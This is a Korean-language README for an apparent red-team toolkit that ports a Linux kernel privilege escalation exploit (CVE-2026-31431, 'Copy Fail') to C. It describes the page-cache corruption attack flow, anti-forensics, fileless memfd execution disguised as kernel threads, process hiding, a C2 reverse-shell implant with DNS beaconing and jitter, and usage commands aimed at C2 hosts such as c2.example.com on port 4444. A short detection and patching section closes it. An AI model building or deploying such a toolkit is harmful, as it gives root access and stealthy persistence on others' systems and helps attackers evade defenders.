복사 실패 -- CVE-2026-31431
레드팀 및 승인된 침투 테스트 작전을 위한 강화된 C 구현체입니다.
⚠️ 법적 고지: 이 도구는 승인된 보안 연구, 승인된 침투 테스트, 방어적 분석만을 위해 사용됩니다. 귀하가 소유하거나 명시적인 서면 허가를 받은 시스템에서만 사용하십시오. 컴퓨터 시스템에 대한 무단 접근은 불법입니다.
🚀 주요 개발이 GitLab으로 이전되었습니다.
이 저장소는 여기에서 적극적으로 유지 관리됩니다. 문제 제기 및 기여는 GitLab을 사용해 주십시오.
Table of Contents
개요
이 프로젝트는 2026년 4월 29일 Theori와 Xint가 최초로 공개한 CVE-2026-31431 ("Copy Fail") 로컬 권한 상승 익스플로잇을 강화하고 프로덕션에 준비된 C로 포팅한 것입니다.
원본 개념 증명은 Python으로 작성되었으며 연구 데모용으로 설계되었습니다. 이 구현체는 이를 레드팀급 도구 키트로 변환합니다:
- 디스크 아티팩트 제로 (memfd 기반 파일리스 실행)
- 자동 대상 탐색 (MAC 인식을 통한 setuid 바이너리 열거)
- 안티-포렌식 (캐시 제거, 타임스탬프 복원, 자체 파괴)
- 운영자 제어 (구성 가능한 타임아웃이 있는 신호 트리거 실행)
- 크로스 플랫폼 정적 빌드 (musl/zig를 통한 x86_64, ARM64, RISC-V)
원본 연구
CVE-2026-31431: Copy Fail
취약점 메커니즘
취약점은 리눅스 커널의 AF_ALG 암호화 서브시스템에 있습니다. authencesn AEAD 템플릿은 복호화를 위한 제자리 최적화를 구현합니다: 파일의 페이지 캐시에서 splice()를 통해 암호문이 제공되면, 커널은 동일한 페이지를 소스와 목적지로 재사용합니다.
공격 흐름:
- setuid 바이너리(예:
/usr/bin/su)를 읽기 전용으로 엽니다
AF_ALG를 통해 authencesn(hmac(sha256),cbc(aes)) AEAD 연산을 설정합니다
- 대상 파일의 페이지 캐시에서
splice()를 통해 암호문을 제공합니다
- (실패하는) 복호화 연산은 인증이 거부되기 전에 페이지 캐시 페이지의 4바이트를 덮어씁니다
- 페이로드의 각 4바이트 윈도우에 대해 반복합니다
execve() 대상 -- 커널이 캐시에서 변형된 페이지를 로드하여 setuid-root 자격 증명을 부여합니다
- 페이로드가 전체 루트 셸로 전환합니다
핵심 통찰: 디스크 상의 inode는 절대 수정되지 않습니다. 메모리 내 페이지 캐시만 변형되므로, 전통적인 파일 덮어쓰기 익스플로잇보다 포렌식 탐지가 훨씬 더 어려워집니다.
우리의 개선 사항
이 프로젝트는 9개의 모듈에 걸쳐 레드팀 지향 강화를 통해 원래 연구를 확장합니다.
1. 강화된 익스플로잇 프리미티브 (patch_chunk.c)
2. 자동 대상 탐색 (target_discovery.c)
- 3단계 스캐닝: 우선 대상 → 표준 디렉토리 → 심층 스캔
- MAC 인식 점수: AppArmor/SELinux 프로파일이 있는 바이너리에 페널티
- 18개 우선 대상:
su, sudo, passwd, pkexec, mount, ping 등
- 폴백 체인: 기본 대상이 실패하면 자동으로 다음 최적 후보 선택
- Snap 인식:
/snap 건너뜀 (비전통적 setuid)
3. 안티-포렌식 스위트 (anti_forensics.c)
4. 파일리스 실행 (memfd_exec.c)
- memfd_create + fexecve: 파일시스템 경로 없이 실행
- 은폐:
kworker, anon_inode, eventfd로 명명된 memfd (/proc/$pid/fd/에 혼합)
- 포크 앤 포겟: 더블 포크로 고아 프로세스 생성 (PPID=1)
- 메모리 내 복호화: XOR 및 RC4 복호화 후 실행 (페이로드가 디스크에 평문으로 저장되지 않음)
5. 스테이지 1 페이로드 전달 (stage1.c)
6. 스테이지 2 C2 임플란트 (stage2_template.c)
- 지수 백오프가 있는 복원력 있는 재연결 루프
- 세 가지 분포: 균일, 삼각, 지수 지터
- 신호 제어:
SIGUSR1 (트리거), SIGUSR2 (상태), SIGTERM (종료)
- DNS 비콘: TCP 연결 전 은밀한 C2 상태 확인
- 프로세스 위장:
ps/top에서 [kworker/N:0]
7. 프로세스 숨기기 (proc_hide.c)
- argv[0] 덮어쓰기:
/proc/$pid/cmdline 제자리 대체
- prctl(PR_SET_NAME): 커널 스레드 스타일 이름 (16바이트 제한)
- 환경 변수 정리:
SSH_*, AWS_*, TOKEN* 등의 선택적 삭제
- 부모 분리: 터미널 독립성을 위한
setsid() + setpgid()
8. 신호 트리거 제어 (signal_trigger.c)
| 모드 | 동작 | 사용 사례 |
|---|
trigger_oneshot() | 수면 → 트리거 → 실행 → 종료 | 히트 앤 런 |
|
CPU 제로 대기: 폴링 루프 대신 sigsuspend().
9. 수면 지터 (sleep_jitter.c)
- 세 가지 RNG 백엔드:
getrandom(2), /dev/urandom, rdtsc 폴백
- 거부 표본 추출: 균일 분포에서 모듈로 편향 제거
- 드리프트 보상:
sleep_scheduled()가 지터에도 불구하고 평균 간격 유지
- 샌드박스 탐지:
check_sandbox_acceleration()가 패치된 sleep() 탐지
아키텍처
┌─────────────────────────────────────────────────────────────┐
│ exploit.c (Orchestrator) │
│ ┌─────────┐ ┌─────────┐ ┌─────────┐ ┌─────────┐ │
│ │ Hide │ │Discover │ │ Exploit │ │ Cleanup │ │
│ │ Process │ │ Target │ │ │ │ │ │
│ └────┬────┘ └────┬────┘ └────┬────┘ └────┬────┘ │
│ │ │ │ │ │
│ ▼ ▼ ▼ ▼ │
│ ┌─────────────────────────────────────────────────────┐ │
│ │ Core Module Layer │ │
│ │ patch_chunk.c target_discovery.c anti_forensics.c │ │
│ └─────────────────────────────────────────────────────┘ │
│ │ │ │ │ │
│ ▼ ▼ ▼ ▼ │
│ ┌─────────────────────────────────────────────────────┐ │
│ │ Delivery & Evasion Layer │ │
│ │ stage1.c memfd_exec.c proc_hide.c │ │
│ │ signal_trigger.c sleep_jitter.c │ │
│ └─────────────────────────────────────────────────────┘ │
│ │ │ │ │ │
│ ▼ ▼ ▼ ▼ │
│ ┌─────────────────────────────────────────────────────┐ │
│ │ Payload Layer (Stage-2) │ │
│ │ stage2_template.c (reverse shell / C2 implant) │ │
│ └─────────────────────────────────────────────────────┘ │
└─────────────────────────────────────────────────────────────┘
빌드
요구 사항
- GCC 또는 Clang
- GNU Make
- 리눅스 헤더 (
linux-libc-dev 또는 동등)
- 선택:
musl-tools (작은 정적 빌드용)
- 선택:
zig (현대적 크로스 컴파일용)
- 선택:
dpkg-deb (데비안 패키징용)
빠른 시작
# Standard redteam build (optimized, stripped, static)
make redteam
# Pentest build (symbols, moderate optimization)
make pentest
# Debug build (ASAN, full symbols)
make debug
# Vulnerability checker (non-destructive)
make checker
크로스 컴파일
# ARM64 (AWS/Azure cloud targets)
make cross-arm64
# RISC-V
make cross-riscv
# ARM HF (embedded/IoT)
make cross-armhf
# Zig cross-compile (no toolchain installation)
make cross-zig-arm64
make cross-zig-riscv
musl 정적 빌드 (작은 바이너리)
make musl-static
# Produces ~50-100 KB static binaries with zero glibc dependency
데비안 패키지
make deb VERSION=1.0.0
# Produces: build/deb/copy-fail-cve-2026-31431-1.0.0.deb
빌드 정보
make info
# Shows: CC, CFLAGS, LDFLAGS, architecture, toolchain availability
사용법
표준 모드 (신호 트리거)
# Deploy implant
./exploit &
IMP_PID=$!
# Trigger exploitation remotely
kill -USR1 $IMP_PID
# Request status (no action)
kill -USR2 $IMP_PID
# Graceful shutdown
kill -TERM $IMP_PID
즉시 실행
./exploit -t # Trigger now, no signal wait
./exploit -t -c c2.example.com -p 9999
사용자 정의 구성
./exploit \
-c c2.redteam.internal \ # C2 hostname
-p 4444 \ # C2 port
-d 300 \ # 5-minute initial delay
-T 7200 \ # 2-hour trigger timeout
-n # Skip vulnerability verification
비파괴 취약점 검사
./vulnerable
# Exit code: 100 = vulnerable, 0 = patched, other = error
모듈
작전 보안
레드팀 모범 사례
- 상관 관계를 최소화하기 위해 활동이 적은 기간에 배포
- 재연결 간격에 지수 지터 사용 (비콘 탐지 회피)
- 자동 트리거 대신 SIGUSR1을 통해 트리거 (운영자가 제어 유지)
- 익스플로잇이 실패하더라도 항상 정리 실행 (
full_cleanup)
- 디스크 기반 페이로드보다 memfd 실행 선호
- 지속성을 위한 더블 포크 (
memfd_fork_exec_detach)
- 실행 전 샌드박스 가속 모니터링
포렌식 아티팩트
탐지 및 완화
방어적 탐지
완화 조치
- 커널 패치: 커밋
a664bf3d603d가 포함된 리눅스 >= 6.14로 업그레이드
- 라이브패치: 배포판별 백포트 적용
- SELinux/AppArmor: setuid 바이너리에 프로파일 적용
- eBPF 모니터링:
AF_ALG + splice() 조합 추적
- 페이지 캐시 검증: 중요한 바이너리에 대한 정기적 무결성 검사
크레딧
원본 연구
기반 C 포트
- Tony Gies --
tgies/copy-fail-c
nolibc를 사용한 기초 C 구현 제공
- 크로스 플랫폼 시스템 콜 래퍼 및 빌드 인프라
이 강화된 포크
- 9개 모듈에 걸친 레드팀 지향 강화
- 작전 보안 기능 (안티-포렌식, 회피, 은밀성)
- 크로스 컴파일 지원 (musl, zig, 다중 아키텍처)
- 신호 기반 운영자 제어 및 구성 가능한 실행 모드
감사의 말
memfd_create(2)와 fexecve(3)를 위한 리눅스 커널 개발자
- 헤더 전용 libc 대안을 위한
nolibc 유지 관리자
- 작은 정적 바이너리를 위한 musl libc 프로젝트
- 현대적 크로스 컴파일 툴체인을 위한 Zig 프로젝트
라이선스
이 프로젝트는 이중 라이선스로 제공됩니다:
SPDX 식별자는 개별 소스 파일을 참조하십시오.
원본 연구와 기반 C 포트는 각각의 라이선스 하에 유지됩니다. 이 포크의 추가 코드는 오픈소스 및 상업적 보안 연구 사용 사례 모두와의 최대 호환성을 위해 위의 이중 라이선스로 제공됩니다.
면책 조항
이 소프트웨어는 승인된 보안 연구 및 승인된 침투 테스트 전용으로 제공됩니다. 저자는 이 소프트웨어의 오용이나 피해에 대해 어떠한 책임도 지지 않습니다. 소유하지 않은 시스템을 테스트하기 전에 항상 적절한 승인을 받으십시오.
시스템에서 이 취약점을 발견한 경우:
- 커널 패치 적용 (커밋
a664bf3d603d 또는 배포판 백포트)
- 위에 나열된 침해 지표(IoC) 모니터링
/var/log/audit/ 및 EDR 텔레메트리에서 AF_ALG 이상 검토